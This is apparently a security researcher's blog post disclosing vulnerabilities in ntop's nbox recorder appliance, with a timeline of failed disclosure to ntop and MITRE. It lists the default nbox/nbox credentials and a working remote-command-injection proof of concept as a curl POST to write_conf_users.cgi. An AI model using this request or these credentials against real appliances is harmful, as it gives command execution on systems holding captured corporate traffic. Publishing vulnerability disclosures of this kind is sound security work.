In line with best practice, many Security teams capture all network traffic using a variety of solutions, some closed, some open source. Once the traffic is stored, it can be used to detect badness, or just examine traffic patterns on corporate assets.
One of these open source options is NTOP, which of course has an appliance version, called nbox recorder. It goes without saying, if this traffic data were to be exposed, the consequences could be catastrophic. Consider stored credentials, authentication data, PII, internal data leakage…
|PCAP or it didn’t happen|
sudo dpkg -i apt-ntop.deb
sudo apt-get clean all
sudo apt-get update
sudo apt-get install -y pfring nprobe ntopng ntopng-data n2disk cento nbox
The default credentials are nbox/nbox and it does use Basic Auth to be accessed.
Before I continue, imagine that you have this machine capturing all the traffic of your network. Listening to all your corporate communications or production traffic and storing them on disk. How bad would it be if an attacker gets full access to it? Take a minute to think about it.
I do believe in the responsible disclosure process, however after repeatedly notifying both ntop and MITRE, these issues were not given high priority nor visibility. The following table details the timeline around my disclosure communications:
12/27/2014 – Sent to ntop details about some nbox vulnerabilities discovered in version 2.0
01/15/2015 – Asked ntop for an update about the vulnerabilities sent
01/16/2015 – Requested by ntop the details again, stating they may have been fixed
01/18/2015 – Sent for a second time the vulnerabilities details. Mentioned to request CVEs
05/24/2015 – Asked ntop for an update about the vulnerabilities sent and to request CVEs
01/06/2016 – Noticed new nbox version is out (2.3) and found more vulnerabilities. Old vulnerabilities are fixed. Sent ntop an email about new issues and to request CVEs
01/06/2016 – Quick answer ignoring my request for CVEs and just asking for vulnerabilities details.
01/28/2016 – Sent request for CVEs to MITRE, submitting a full report with all the issues and steps to reproduce.
02/17/2016 – Asked MITRE for an update on the issues submitted.
02/17/2016 – Reply from MITRE: “Your request is outside the scope of CVE’s published priorities. As such, it will not be assigned a CVE-ID by MITRE or another CVE CNA at this time.”
07/10/2016 – Noticed new nbox version (2.5) with partial fixes for some vulnerabilities in the previous (2.3) version
The ntop team initially refused to comment and silently fixed the bugs. MITRE then said this wasn’t severe enough to warrant a CVE. As such, I have now chosen to highlight the issues here in an effort to have them remediated. I again want to highlight that I take this process very seriously, but after consulting with multiple other individuals, I feel that both the ntop team and MITRE have left me no other responsible options.
|Here comes the paintrain!|
RCE: POST against https://NTOP-BOX/ntop-bin/write_conf_users.cgi with parameter cmd=touch /tmp/HACK
curl -sk –user nbox:nbox –data ‘cmd=touch /tmp/HACK’ ‘https://NTOP-BOX/ntop-bin/write_conf_users.cgi’
If you have any questions or feedback, hit me up in twitter (@javutin)!
*** This is a Security Bloggers Network syndicated blog from Carnal0wnage & Attack Research Blog authored by Javuto. Read the original post at: http://carnal0wnage.attackresearch.com/2016/08/got-any-rces.html